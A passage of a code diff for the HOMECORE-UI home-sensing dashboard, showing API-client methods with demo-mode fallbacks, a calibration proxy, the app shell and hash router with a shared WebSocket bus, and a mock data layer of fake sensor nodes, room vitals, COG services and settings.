async cogUpdates() { return this._data('cogs', '/api/homecore/cogs/updates', (m) => m.cogUpdates()); },
|
||||
async hailo() { return this._data('cogs', '/api/homecore/hailo', (m) => ({ worker: 'connected', cogs: m.cogs().filter((c) => c.arch === 'hailo10') })); },
|
||||
async roomStates() { return this._data('rooms', '/api/homecore/rooms', (m) => m.roomStates()); },
|
||||
async federation() { return this._data('fleet', '/api/homecore/federation', (m) => m.federation()); },
|
||||
async witnessLog(page = 0, size = 12) { return this._data('audit', `/api/homecore/witness?page=${page}&size=${size}`, (m) => m.witnessLog(page, size)); },
|
||||
async privacyModes() { return this._data('audit', '/api/homecore/privacy', (m) => m.privacyModes()); },
|
||||
async setPrivacy(seed, modeValue) { if (demoMode()) return { seed, mode: modeValue }; return this._post('/api/homecore/privacy', { seed, mode: modeValue }); },
|
||||
async eventHistory(n = 40) { return this._data('events', `/api/events?limit=${n}`, (m) => m.recentEvents(n)); },
|
||||
recentEvents(n) { return this.eventHistory(n); }, // back-compat alias (async)
|
||||
async settings() { return this._data('settings', '/api/homecore/settings', (m) => m.settings()); },
|
||||
async automations() { return this._data('automations', '/api/homecore/automations', () => []); },
|
||||
async saveAutomation(a) { if (demoMode()) return a; return this._post('/api/homecore/automations', a); },
|
||||
async tokens() { return this._data('settings', '/api/homecore/tokens', (m) => m.settings().tokens); },
|
||||
|
||||
// calibration (ADR-151) — real proxy in prod, simulated in demo.
|
||||
calibration: makeCalibration(),
|
||||
};
|
||||
|
||||
function httpError(path, status) {
|
||||
const e = new Error(`${path} → HTTP ${status}`);
|
||||
e.status = status;
|
||||
e.upstreamUnavailable = status === 503 || status === 504;
|
||||
return e;
|
||||
}
|
||||
|
||||
// Demo-only entity fixture (prod path uses real GET /api/states).
|
||||
function demoEntities() {
|
||||
return [
|
||||
{ entity_id: 'sensor.living_room_presence', state: 'true', attributes: { friendly_name: 'Living Room Presence', source: 'esp32-lr-01', seed: 'seed-livingroom-a1' }, last_changed: new Date().toISOString(), last_updated: new Date().toISOString(), context: { id: 'ctx-1', user_id: null, parent_id: null } },
|
||||
{ entity_id: 'sensor.bedroom_1_breathing_rate', state: '14.5', attributes: { friendly_name: 'Bedroom 1 Breathing Rate', unit_of_measurement: 'BPM', source: 'esp32-br1-01', seed: 'seed-bedroom-1' }, last_changed: new Date().toISOString(), last_updated: new Date().toISOString(), context: { id: 'ctx-2', user_id: null, parent_id: 'ctx-1' } },
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve an entity's tier provenance (§4.4 / §11.9). Prefers the
|
||||
* explicit `attributes.seed`/`attributes.cog` lineage that integrations
|
||||
* are expected to stamp; falls back to parsing the ESP32 node id. In demo
|
||||
* mode it may consult the mock node registry. Missing lineage → 'unknown'
|
||||
* (never fabricated).
|
||||
*/
|
||||
export function entityProvenance(entity) {
|
||||
const attrs = (entity && entity.attributes) || {};
|
||||
const src = String(attrs.source || '');
|
||||
const nodeMatch = src.match(/esp32[-\w]*/i);
|
||||
const node = attrs.node || (nodeMatch ? nodeMatch[0] : null);
|
||||
let seed = attrs.seed || null;
|
||||
// Demo-only enrichment: consult the mock node registry IF it has already
|
||||
// been dynamically loaded by a prior demo data call (this fn is sync, so it
|
||||
// cannot await the import). Prod never has `_mock` set → seed stays null
|
||||
// (never fabricated).
|
||||
if (!seed && demoMode() && node && _mock) {
|
||||
const cfg = _mock.settings().esp32.find((n) => n.node_id === node);
|
||||
seed = cfg ? cfg.seed : null;
|
||||
}
|
||||
const hailo = /hailo|pose/i.test(src) || /hailo/i.test(String(attrs.cog || ''));
|
||||
const cog = attrs.cog || (/matter|bfld|mmwave|mr60/i.test(src) ? 'cog-ha-matter' : (hailo ? 'cog-pose-estimation' : null));
|
||||
return { esp32: node, seed: seed || (node ? 'unknown' : null), cog: cog || 'unknown', hailo };
|
||||
}
|
||||
|
||||
// Calibration: per-call branch on demo mode. Prod proxies the real
|
||||
// calibrate-serve API via the gateway (/api/cal/v1/*). All methods are
|
||||
// async (the §4.7 wizard awaits them).
|
||||
function makeCalibration() {
|
||||
const ANCHORS = ['empty', 'stand_still', 'sit', 'lie_down', 'breathe_slow', 'breathe_normal', 'small_move', 'sleep_posture'];
|
||||
// demo session state
|
||||
let frames = 0; const target = 1200; const accepted = new Set();
|
||||
const get = (p) => api._get('/api/cal/v1' + p);
|
||||
const post = (p, b) => api._post('/api/cal/v1' + p, b);
|
||||
return {
|
||||
ANCHORS,
|
||||
get demo() { return demoMode(); },
|
||||
async start() {
|
||||
if (demoMode()) { frames = 0; return { baseline_id: 'bl-demo-' + ANCHORS.length }; }
|
||||
return post('/calibration/start', {});
|
||||
},
|
||||
async stop() { if (demoMode()) return { stopped: true }; return post('/calibration/stop', {}); },
|
||||
async status() {
|
||||
if (demoMode()) { frames = Math.min(target, frames + 180); return { frames, target, eta_s: Math.max(0, Math.round((target - frames) / 180)), z_median: 0.41, motion_flagged: frames < 360 }; }
|
||||
return get('/calibration/status');
|
||||
},
|
||||
async anchor(label) {
|
||||
if (demoMode()) {
|
||||
const ok = label !== 'sleep_posture' || accepted.size >= 6;
|
||||
if (ok) accepted.add(label);
|
||||
return { label, accepted: ok, reason: ok ? null : 'insufficient stillness — retry', features: { mean: 0.12, variance: 0.04, breathing_score: 0.7, heart_score: 0.55 } };
|
||||
}
|
||||
return post('/enroll/anchor', { label });
|
||||
},
|
||||
async enrollStatus() {
|
||||
if (demoMode()) return { accepted: [...accepted], total: ANCHORS.length };
|
||||
return get('/enroll/status');
|
||||
},
|
||||
async train(room_id) {
|
||||
if (demoMode()) {
|
||||
const trained = accepted.size >= 6;
|
||||
return {
|
||||
presence: trained ? { threshold: 0.31, occupied_var: 0.08 } : null,
|
||||
posture: trained ? { prototypes: 4 } : null,
|
||||
breathing: accepted.has('breathe_normal') ? { min_score: 0.6 } : null,
|
||||
heartbeat: accepted.has('breathe_normal') ? { min_score: 0.5 } : null,
|
||||
restlessness: trained ? { calm: 0.05, active: 0.6 } : null,
|
||||
anomaly: trained ? { prototypes: 8, scale: 1.4 } : null,
|
||||
};
|
||||
}
|
||||
return post('/room/train', { room_id });
|
||||
},
|
||||
reset() { accepted.clear(); frames = 0; },
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
// HOMECORE-UI bootstrap + shell + router — ADR-131 §5.
|
||||
//
|
||||
// Builds the Cognitum-shell top nav (Framework | Guide | Cog Store |
|
||||
// HOMECORE | Status) with HOMECORE active, a left sub-nav for the nine
|
||||
// HOMECORE sections, and a hash router. One shared WebSocket feeds a bus
|
||||
// that every panel subscribes to (no per-panel sockets, no polling).
|
||||
|
||||
import { h, clear, lagIndicator } from './ui.js';
|
||||
import { api } from './api.js';
|
||||
import { connect } from './ws.js';
|
||||
|
||||
import dashboard from './panels/dashboard.js';
|
||||
import fleet from './panels/fleet.js';
|
||||
import seedDetail from './panels/seed-detail.js';
|
||||
import entities from './panels/entities.js';
|
||||
import rooms from './panels/rooms.js';
|
||||
import cogs from './panels/cogs.js';
|
||||
import calibration from './panels/calibration.js';
|
||||
import events from './panels/events.js';
|
||||
import audit from './panels/audit.js';
|
||||
import settings from './panels/settings.js';
|
||||
|
||||
// Section registry. order drives the left sub-nav (§5).
|
||||
const SECTIONS = [
|
||||
{ id: 'dashboard', label: 'Dashboard', icon: '◳', mod: dashboard },
|
||||
{ id: 'fleet', label: 'SEED Fleet', icon: '⬡', mod: fleet },
|
||||
{ id: 'entities', label: 'Entities', icon: '◈', mod: entities },
|
||||
{ id: 'rooms', label: 'Rooms', icon: '⌂', mod: rooms },
|
||||
{ id: 'cogs', label: 'COGs', icon: '⚙', mod: cogs },
|
||||
{ id: 'calibration', label: 'Calibration', icon: '⊹', mod: calibration },
|
||||
{ id: 'events', label: 'Events', icon: '⚡', mod: events },
|
||||
{ id: 'audit', label: 'Audit', icon: '⛨', mod: audit },
|
||||
{ id: 'settings', label: 'Settings', icon: '⚒', mod: settings },
|
||||
];
|
||||
// Detail routes not shown in the sub-nav.
|
||||
const ROUTES = { 'seed': seedDetail };
|
||||
|
||||
// Shared event bus fed by the single WS connection.
|
||||
const bus = new EventTarget();
|
||||
let wsState = { state: 'connecting', lagged: false };
|
||||
|
||||
const ctx = {
|
||||
api,
|
||||
bus,
|
||||
wsStatus: () => wsState,
|
||||
navigate: (hash) => { location.hash = hash; },
|
||||
onEvent(handler) {
|
||||
const fn = (e) => handler(e.detail);
|
||||
bus.addEventListener('hc-event', fn);
|
||||
return () => bus.removeEventListener('hc-event', fn);
|
||||
},
|
||||
onWs(handler) {
|
||||
const fn = (e) => handler(e.detail);
|
||||
bus.addEventListener('hc-ws', fn);
|
||||
handler(wsState);
|
||||
return () => bus.removeEventListener('hc-ws', fn);
|
||||
},
|
||||
};
|
||||
|
||||
let cleanup = null;
|
||||
|
||||
function buildShell() {
|
||||
const topnav = h('.topnav',
|
||||
h('.brand',
|
||||
h('span.logo', 'C'),
|
||||
h('span.brand-name', 'Cognitum'),
|
||||
h('span.brand-sep', '/'),
|
||||
h('span.brand-tag', 'HOMECORE')),
|
||||
h('span.nav-spacer'),
|
||||
lagIndicatorHost());
|
||||
const sidenav = h('.sidenav', ...SECTIONS.map((s) => sideLink(s)));
|
||||
const content = h('.content#hc-content');
|
||||
const shell = h('.shell', sidenav, content);
|
||||
const root = document.getElementById('app');
|
||||
clear(root);
|
||||
root.appendChild(topnav);
|
||||
root.appendChild(shell);
|
||||
return content;
|
||||
}
|
||||
|
||||
function sideLink(section) {
|
||||
return h('a', { href: '#/' + section.id, 'data-section': section.id },
|
||||
h('span.ico', section.icon || '•'), h('span.lbl', section.label));
|
||||
}
|
||||
|
||||
function lagIndicatorHost() {
|
||||
const host = h('span');
|
||||
const paint = () => { clear(host); host.appendChild(lagIndicator(wsState.state, wsState.lagged)); };
|
||||
bus.addEventListener('hc-ws', paint);
|
||||
paint();
|
||||
return host;
|
||||
}
|
||||
|
||||
function highlightNav(id) {
|
||||
document.querySelectorAll('.sidenav a').forEach((a) => {
|
||||
a.classList.toggle('active', a.getAttribute('data-section') === id);
|
||||
});
|
||||
}
|
||||
|
||||
async function route() {
|
||||
const hash = location.hash.replace(/^#\/?/, '') || 'dashboard';
|
||||
const [head, ...rest] = hash.split('/');
|
||||
const content = document.getElementById('hc-content') || buildShell();
|
||||
|
||||
if (typeof cleanup === 'function') { try { cleanup(); } catch {} cleanup = null; }
|
||||
clear(content);
|
||||
|
||||
let mod, params = {};
|
||||
const section = SECTIONS.find((s) => s.id === head);
|
||||
if (section) { mod = section.mod; highlightNav(head); }
|
||||
else if (ROUTES[head]) { mod = ROUTES[head]; params.id = rest[0]; highlightNav('fleet'); }
|
||||
else { mod = SECTIONS[0].mod; highlightNav('dashboard'); }
|
||||
|
||||
try {
|
||||
const result = await mod.render(content, { ...ctx, params });
|
||||
if (typeof result === 'function') cleanup = result;
|
||||
} catch (e) {
|
||||
content.appendChild(h('.banner.red', 'Panel error: ' + (e && e.message ? e.message : e)));
|
||||
console.error(e);
|
||||
}
|
||||
}
|
||||
|
||||
function start() {
|
||||
buildShell();
|
||||
// Attach routing + render the first panel BEFORE opening the socket.
|
||||
// connect() invokes its status callback synchronously, so the WS wiring
|
||||
// must not be on the critical render path (a thrown callback here would
|
||||
// otherwise blank the whole dashboard).
|
||||
window.addEventListener('hashchange', route);
|
||||
route();
|
||||
const ctrl = connect(
|
||||
(evt) => bus.dispatchEvent(new CustomEvent('hc-event', { detail: evt })),
|
||||
(st) => { wsState = { state: st.state, lagged: !!st.lagged }; bus.dispatchEvent(new CustomEvent('hc-ws', { detail: wsState })); },
|
||||
);
|
||||
ctx.ws = ctrl;
|
||||
}
|
||||
|
||||
if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', start);
|
||||
else start();
|
||||
|
||||
export { SECTIONS, ctx };
|
||||
@@ -0,0 +1,296 @@
|
||||
// HOMECORE-UI contract-conformant mock layer — ADR-131 §7.1.
|
||||
//
|
||||
// "Where a service is not yet stable, the panel is still built against
|
||||
// its defined contract (with a contract-conformant mock standing in for
|
||||
// the live endpoint only until that endpoint lands)."
|
||||
//
|
||||
// Shapes mirror the schemas described in ADR-131 §4 + the calibration
|
||||
// RoomState contract (docs/integration/calibration-appliance-integration.md)
|
||||
// + the SEED HTTPS API. Live endpoints replace these the moment they
|
||||
// exist; nothing here is presented to the operator as real (the UI shows
|
||||
// a DEMO badge whenever the mock layer is serving a panel — see api.js).
|
||||
|
||||
const now = () => new Date().toISOString();
|
||||
const ago = (s) => new Date(Date.now() - s * 1000).toISOString();
|
||||
function jitter(base, amp) { return +(base + (Math.sin(Date.now() / 3000 + base) * amp)).toFixed(2); }
|
||||
function spark(base, amp, n = 24) {
|
||||
return Array.from({ length: n }, (_, i) => +(base + Math.sin(i / 2) * amp + (i % 3) * amp * 0.2).toFixed(2));
|
||||
}
|
||||
|
||||
// Factory for a bedroom SEED node — keeps the three bedrooms consistent
|
||||
// while varying the values that matter for the analysis views.
|
||||
function bedroomSeed(o) {
|
||||
return {
|
||||
device_id: o.device_id, firmware: '0.7.3', online: true, conn: o.conn || 'wifi', epoch: o.epoch,
|
||||
vector_count: o.vector_count, vector_dim: 8, knn_latency_ms: o.knn_latency_ms,
|
||||
last_ingest: ago(2), witness_valid: true, witness_len: o.witness_len,
|
||||
witness_last_verify: ago(1800), zone: o.zone,
|
||||
storage_used: o.vector_count, storage_budget: 100000,
|
||||
sensors: {
|
||||
bme280: { temp_c: o.temp_c, humidity_pct: o.humidity_pct, pressure_hpa: 1013.0 },
|
||||
pir: { motion: o.motion, last_trigger: ago(o.motion ? 5 : 640) },
|
||||
reed: { open: false, last_change: ago(30000) },
|
||||
ads1115: [{ label: 'ch0', v: 0.11 }, { label: 'ch1', v: 0.0 }, { label: 'ch2', v: 0.0 }, { label: 'ch3', v: 0.0 }],
|
||||
vibration: { active: false, last_trigger: null },
|
||||
},
|
||||
reflex: [
|
||||
{ name: 'fragility_alarm', threshold: 0.3, target: 'relay actuator', last_fired: o.fired ? ago(420) : null, fired_recently: !!o.fired },
|
||||
{ name: 'drift_cutoff', threshold: 1.0, target: 'ingest gate', last_fired: null, fired_recently: false },
|
||||
{ name: 'hd_anomaly_indicator', threshold: 200, target: 'PWM brightness', last_fired: null, fired_recently: false },
|
||||
],
|
||||
cognition: { fragility: o.fragility, coherence_phases: o.phases, knn_rebuild_s: 10 },
|
||||
ingest: { batch: 64, flush_ms: 1000, bridge: 'direct', esp32: [{ node_id: o.node, packet: '0xC5110003', rate_hz: 1.0 }] },
|
||||
esp32_nodes: 1, frame_rate_hz: 100,
|
||||
};
|
||||
}
|
||||
|
||||
// ── v0 Appliance health (§4.1) ──────────────────────────────────────
|
||||
export function applianceHealth() {
|
||||
return {
|
||||
cpu_pct: jitter(34, 6),
|
||||
ram_pct: jitter(58, 4),
|
||||
hailo_load_pct: jitter(41, 12),
|
||||
hailo_temp_c: jitter(52, 3),
|
||||
uptime_s: 824510,
|
||||
services: [
|
||||
{ name: 'ruview-mcp-brain', port: 9876, status: 'running' },
|
||||
{ name: 'cognitum-rvf-agent', port: 9004, status: 'running' },
|
||||
{ name: 'ruvector-hailo-worker', port: 50051, status: 'running' },
|
||||
],
|
||||
event_rate: spark(120, 40),
|
||||
channel_capacity: 4096,
|
||||
channel_lag: 0,
|
||||
};
|
||||
}
|
||||
|
||||
// ── SEED fleet (§4.1 / §4.2) ────────────────────────────────────────
|
||||
const SEEDS = [
|
||||
{
|
||||
device_id: 'seed-livingroom-a1',
|
||||
firmware: '0.7.3', online: true, conn: 'wifi', epoch: 184,
|
||||
vector_count: 71280, vector_dim: 8, knn_latency_ms: 2.1,
|
||||
last_ingest: ago(3), witness_valid: true, witness_len: 184210,
|
||||
witness_last_verify: ago(900), zone: 'Living Room',
|
||||
storage_used: 71280, storage_budget: 100000,
|
||||
sensors: {
|
||||
bme280: { temp_c: 21.6, humidity_pct: 44, pressure_hpa: 1013.2 },
|
||||
pir: { motion: true, last_trigger: ago(8) },
|
||||
reed: { open: false, last_change: ago(7200) },
|
||||
ads1115: [{ label: 'soil', v: 0.42 }, { label: 'light', v: 0.71 }, { label: 'aux2', v: 0.03 }, { label: 'aux3', v: 0.0 }],
|
||||
vibration: { active: false, last_trigger: ago(40000) },
|
||||
},
|
||||
reflex: [
|
||||
{ name: 'fragility_alarm', threshold: 0.3, target: 'relay actuator', last_fired: ago(300), fired_recently: true },
|
||||
{ name: 'drift_cutoff', threshold: 1.0, target: 'ingest gate', last_fired: null, fired_recently: false },
|
||||
{ name: 'hd_anomaly_indicator', threshold: 200, target: 'PWM brightness', last_fired: ago(12000), fired_recently: false },
|
||||
],
|
||||
cognition: { fragility: 0.42, coherence_phases: [{ t: ago(3600), label: 'empty' }, { t: ago(1800), label: 'occupied' }, { t: ago(300), label: 'regime-change' }], knn_rebuild_s: 10 },
|
||||
ingest: { batch: 64, flush_ms: 1000, bridge: 'host-laptop hop', esp32: [{ node_id: 'esp32-lr-01', packet: '0xC5110003', rate_hz: 1.0 }, { node_id: 'esp32-lr-02', packet: '0xC5110002', rate_hz: 0.9 }] },
|
||||
esp32_nodes: 2, frame_rate_hz: 98,
|
||||
},
|
||||
bedroomSeed({
|
||||
device_id: 'seed-bedroom-1', zone: 'Bedroom 1 (primary)', epoch: 183,
|
||||
vector_count: 38110, knn_latency_ms: 1.7, witness_len: 91022,
|
||||
temp_c: 20.1, humidity_pct: 47, motion: false, fragility: 0.12,
|
||||
phases: [{ t: ago(7200), label: 'empty' }, { t: ago(3600), label: 'sleep' }],
|
||||
node: 'esp32-br1-01', conn: 'usb',
|
||||
}),
|
||||
bedroomSeed({
|
||||
device_id: 'seed-bedroom-2', zone: 'Bedroom 2 (guest)', epoch: 181,
|
||||
vector_count: 29440, knn_latency_ms: 1.9, witness_len: 70210,
|
||||
temp_c: 19.4, humidity_pct: 50, motion: true, fragility: 0.21,
|
||||
phases: [{ t: ago(5400), label: 'empty' }, { t: ago(900), label: 'occupied' }],
|
||||
node: 'esp32-br2-01', conn: 'wifi',
|
||||
}),
|
||||
bedroomSeed({
|
||||
device_id: 'seed-bedroom-3', zone: 'Bedroom 3 (kids)', epoch: 179,
|
||||
vector_count: 24105, knn_latency_ms: 2.0, witness_len: 60880,
|
||||
temp_c: 21.0, humidity_pct: 45, motion: false, fragility: 0.34,
|
||||
phases: [{ t: ago(9000), label: 'empty' }, { t: ago(4200), label: 'sleep' }, { t: ago(600), label: 'restless' }],
|
||||
node: 'esp32-br3-01', conn: 'wifi', fired: true,
|
||||
}),
|
||||
{
|
||||
device_id: 'seed-hallway-c3',
|
||||
firmware: '0.6.9', online: false, conn: 'wifi', epoch: 170,
|
||||
vector_count: 12044, vector_dim: 8, knn_latency_ms: null,
|
||||
last_ingest: ago(5400), witness_valid: true, witness_len: 40110,
|
||||
witness_last_verify: ago(86400), zone: 'Hallway',
|
||||
storage_used: 12044, storage_budget: 100000,
|
||||
sensors: null,
|
||||
reflex: [],
|
||||
cognition: { fragility: null, coherence_phases: [], knn_rebuild_s: 10 },
|
||||
ingest: { batch: 64, flush_ms: 1000, bridge: 'direct', esp32: [] },
|
||||
esp32_nodes: 0, frame_rate_hz: 0,
|
||||
warnings: ['stale firmware version (0.6.9 < 0.7.3)', 'offline > 1h'],
|
||||
},
|
||||
];
|
||||
export function seeds() { return SEEDS.map((s) => ({ ...s })); }
|
||||
export function seed(id) { return SEEDS.find((s) => s.device_id === id) || null; }
|
||||
|
||||
// ── ESP32 node warnings (§4.1) ──────────────────────────────────────
|
||||
export function esp32Warnings() {
|
||||
return [
|
||||
{ node_id: 'esp32-lr-02', seed: 'seed-livingroom-a1', issue: 'presence_score normalisation anomaly' },
|
||||
{ node_id: 'esp32-hw-01', seed: 'seed-hallway-c3', issue: 'stale firmware version' },
|
||||
];
|
||||
}
|
||||
|
||||
// ── COG runtime (§4.6) ──────────────────────────────────────────────
|
||||
const COGS = [
|
||||
{ id: 'cog-ha-matter', version: '1.4.2', arch: 'arm', status: 'running', pid: 4120, sha256_verified: true, signature_verified: true },
|
||||
{ id: 'cog-pose-estimation', version: '2.1.0', arch: 'hailo10', status: 'running', pid: 4188, sha256_verified: true, signature_verified: true, hef: ['rf_foundation_encoder.hef', 'pose_head.hef'], throughput_fps: 41 },
|
||||
{ id: 'cog-person-count', version: '0.9.4', arch: 'arm', status: 'running', pid: 4205, sha256_verified: true, signature_verified: true },
|
||||
{ id: 'cog-calibration', version: '1.0.1', arch: 'arm', status: 'running', pid: 4250, sha256_verified: true, signature_verified: true },
|
||||
{ id: 'cog-anomaly-watch', version: '0.3.0', arch: 'arm', status: 'failed', pid: null, sha256_verified: true, signature_verified: true, error: 'panic: bank not found' },
|
||||
{ id: 'cog-legacy-bridge', version: '0.1.2', arch: 'arm', status: 'stopped', pid: null, sha256_verified: false, signature_verified: false },
|
||||
];
|
||||
export function cogs() { return COGS.map((c) => ({ ...c })); }
|
||||
export function cogUpdates() { return [{ id: 'cog-pose-estimation', from: '2.1.0', to: '2.2.0', new_entities: ['sensor.lr_pose_confidence'], config_changes: ['add: max_persons'] }]; }
|
||||
export function appRegistry() {
|
||||
return [
|
||||
{ id: 'cog-fall-detect', title: 'Fall Detection', desc: 'Multistatic fall detection specialist', category: 'safety', arch: 'arm', featured: true, new_entities: ['binary_sensor.{room}_fall'] },
|
||||
{ id: 'cog-sleep-stage', title: 'Sleep Staging', desc: 'REM/deep/light from breathing + restlessness', category: 'health', arch: 'hailo10', new_entities: ['sensor.{room}_sleep_stage'] },
|
||||
{ id: 'cog-gesture', title: 'Gesture Control', desc: 'DTW gesture classifier → service calls', category: 'control', arch: 'arm', new_entities: ['event.{room}_gesture'] },
|
||||
];
|
||||
}
|
||||
|
||||
// ── RoomState / sensing (§4.5) — calibration contract ───────────────
|
||||
export function roomStates() {
|
||||
return [
|
||||
{
|
||||
room_id: 'living_room', stale: false, vetoed: false, seeds: ['seed-livingroom-a1'],
|
||||
presence: { value: 'occupied', confidence: 0.93 },
|
||||
posture: { value: 'sitting', confidence: 0.81 },
|
||||
breathing_bpm: { value: jitter(15, 1.5), confidence: 0.77 },
|
||||
heart_bpm: { value: jitter(72, 3), confidence: 0.64 },
|
||||
restlessness: { value: 0.22, confidence: 0.7 },
|
||||
anomaly: { value: 0.18, confidence: 0.8, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
// Bedroom 1 — primary; healthy sleeping vitals.
|
||||
room_id: 'bedroom_1', stale: false, vetoed: false, seeds: ['seed-bedroom-1'],
|
||||
presence: { value: 'occupied', confidence: 0.91 },
|
||||
posture: { value: 'lying', confidence: 0.9 },
|
||||
breathing_bpm: { value: jitter(12, 1), confidence: 0.85 },
|
||||
heart_bpm: { value: jitter(58, 2), confidence: 0.72 },
|
||||
restlessness: { value: 0.08, confidence: 0.8 },
|
||||
anomaly: { value: 0.12, confidence: 0.84, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
// Bedroom 2 — guest; STALE bank (recalibrate demo).
|
||||
room_id: 'bedroom_2', stale: true, vetoed: false, seeds: ['seed-bedroom-2'],
|
||||
presence: { value: 'occupied', confidence: 0.86 },
|
||||
posture: { value: 'sitting', confidence: 0.7 },
|
||||
breathing_bpm: { value: jitter(16, 1.5), confidence: 0.66 },
|
||||
heart_bpm: { value: jitter(74, 3), confidence: 0.58 },
|
||||
restlessness: { value: 0.31, confidence: 0.62 },
|
||||
anomaly: { value: 0.4, confidence: 0.6, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
// Bedroom 3 — kids; heartbeat specialist not yet trained.
|
||||
room_id: 'bedroom_3', stale: false, vetoed: false, seeds: ['seed-bedroom-3'],
|
||||
presence: { value: 'occupied', confidence: 0.79 },
|
||||
posture: { value: 'lying', confidence: 0.74 },
|
||||
breathing_bpm: { value: jitter(18, 2), confidence: 0.69 },
|
||||
heart_bpm: null, // null = not trained (§6 invariant 3)
|
||||
restlessness: { value: 0.46, confidence: 0.6 },
|
||||
anomaly: { value: 0.22, confidence: 0.7, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
room_id: 'kitchen', stale: false, vetoed: true, seeds: ['seed-livingroom-a1', 'seed-hallway-c3'],
|
||||
presence: { value: 'occupied', confidence: 0.6 },
|
||||
posture: { value: null, confidence: null }, // suppressed by veto — withheld, NOT zero (§4.5)
|
||||
breathing_bpm: { value: null, confidence: null },
|
||||
heart_bpm: { value: null, confidence: null },
|
||||
restlessness: { value: 0.4, confidence: 0.5 },
|
||||
anomaly: { value: 0.91, confidence: 0.88, threshold: 0.8 },
|
||||
},
|
||||
{
|
||||
room_id: 'office', stale: false, vetoed: false, seeds: ['seed-bedroom-1'],
|
||||
presence: { value: 'absent', confidence: 0.95 },
|
||||
posture: null, // null = not trained (§6 invariant 3)
|
||||
breathing_bpm: null,
|
||||
heart_bpm: null,
|
||||
restlessness: { value: 0.0, confidence: 0.9 },
|
||||
anomaly: { value: 0.05, confidence: 0.9, threshold: 0.8 },
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
// ── Fleet map / federation (§4.3) ───────────────────────────────────
|
||||
export function federation() {
|
||||
return {
|
||||
coordinator: 'seed-livingroom-a1', round: 47, k_healthy: 4, delta_status: 'exchanging',
|
||||
invariant: 'model deltas only — never raw CSI',
|
||||
krum: { f: 1, multi: true }, cadence_min: 30,
|
||||
mesh_links: [
|
||||
{ a: 'seed-livingroom-a1', b: 'seed-bedroom-1', health: 'green' },
|
||||
{ a: 'seed-bedroom-1', b: 'seed-bedroom-2', health: 'green' },
|
||||
{ a: 'seed-bedroom-2', b: 'seed-bedroom-3', health: 'amber' },
|
||||
{ a: 'seed-bedroom-1', b: 'seed-hallway-c3', health: 'red' },
|
||||
],
|
||||
fused_events: [{ kind: 'fall', seeds: ['seed-livingroom-a1', 'seed-hallway-c3'], n: 2 }, { kind: 'occupant-track', seeds: ['seed-bedroom-1', 'seed-bedroom-2', 'seed-livingroom-a1'], n: 3 }],
|
||||
};
|
||||
}
|
||||
|
||||
// ── Witness / audit (§4.9) ──────────────────────────────────────────
|
||||
export function witnessLog(page = 0, size = 12) {
|
||||
const total = 240;
|
||||
const items = Array.from({ length: size }, (_, i) => {
|
||||
const n = page * size + i;
|
||||
const seedTier = n % 2 === 0;
|
||||
return {
|
||||
entity_id: seedTier ? `rvf.store.write.${184210 - n}` : ['sensor.living_room_presence', 'binary_sensor.front_door', 'sensor.bedroom_breathing_rate'][n % 3],
|
||||
old_state: seedTier ? null : ['false', 'off', '14.5'][n % 3],
|
||||
new_state: seedTier ? `sha256:${(0x9a3f + n).toString(16)}…` : ['true', 'on', '15.1'][n % 3],
|
||||
ts: ago(n * 37),
|
||||
tier: seedTier ? 'seed-sha256' : 'homecore-ed25519',
|
||||
seed: ['seed-livingroom-a1', 'seed-bedroom-1', 'seed-bedroom-2', 'seed-bedroom-3'][n % 4],
|
||||
key_fp: ['a1b2c3d4', 'e5f6a7b8', 'c9d0e1f2', 'b3a4c5d6'][n % 4],
|
||||
};
|
||||
});
|
||||
return { items, page, size, total };
|
||||
}
|
||||
export function privacyModes() {
|
||||
return [
|
||||
{ seed: 'seed-livingroom-a1', mode: 'full-publish' },
|
||||
{ seed: 'seed-bedroom-1', mode: 'audit-only' },
|
||||
{ seed: 'seed-bedroom-2', mode: 'audit-only' },
|
||||
{ seed: 'seed-bedroom-3', mode: 'audit-only' },
|
||||
{ seed: 'seed-hallway-c3', mode: 'audit-only' },
|
||||
];
|
||||
}
|
||||
|
||||
// ── Events / automations (§4.8) ─────────────────────────────────────
|
||||
export function recentEvents(n = 40) {
|
||||
const variants = ['StateChanged', 'EntityRegistered', 'ConfigReloaded'];
|
||||
const ents = ['sensor.living_room_presence', 'binary_sensor.front_door', 'light.kitchen_ceiling', 'sensor.bedroom_breathing_rate'];
|
||||
return Array.from({ length: n }, (_, i) => ({
|
||||
type: variants[i % 3],
|
||||
entity_id: ents[i % ents.length],
|
||||
old_state: ['off', 'false', '14.5'][i % 3],
|
||||
new_state: ['on', 'true', '15.1'][i % 3],
|
||||
ts: ago(i * 11),
|
||||
user_id: i % 4 === 0 ? 'operator' : null,
|
||||
context: { id: 'ctx-' + (1000 + i), parent_id: i % 3 === 0 ? 'ctx-' + (999 + i) : null, grandparent_id: i % 6 === 0 ? 'ctx-' + (998 + i) : null },
|
||||
source: ['seed-livingroom-a1', 'cog-ha-matter'][i % 2],
|
||||
}));
|
||||
}
|
||||
|
||||
// ── Settings (§4.10) ────────────────────────────────────────────────
|
||||
export function settings() {
|
||||
return {
|
||||
mqtt: { broker: 'mqtt://cognitum-v0:1883', user: 'homecore', mdns: '_ruview-ha._tcp', connected: true },
|
||||
tokens: [
|
||||
{ name: 'ios-companion', last_used: ago(120), created: ago(8000000) },
|
||||
{ name: 'node-red', last_used: ago(60000), created: ago(20000000) },
|
||||
],
|
||||
ha_disco_entities: 21,
|
||||
esp32: [
|
||||
{ node_id: 'esp32-lr-01', ip: '192.168.1.31', port: 5566, firmware: '1.2.0', room: 'living_room', seed: 'seed-livingroom-a1' },
|
||||
{ node_id: 'esp32-br1-01', ip: '192.168.1.32', port: 5566, firmware: '1.2.0', room: 'bedroom_1', seed: 'seed-bedroom-1' },
|
||||
{ node_id: 'esp32-br2-01', ip: '192.168.1.33', port: 5566, firmware: '1.2.0', room: 'bedroom_2', seed: 'seed-bedroom-2' },
|
||||
{ node_id: 'esp32-br3-01', ip: '192.168.1.34', port: 5566, firmware: '1.2.0', room: 'bedroom_3', seed: 'seed-bedroom-3' },
|
||||
],
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
// §4.9 Witness / Audit Log — ADR-131.
|
||||
//
|
||||
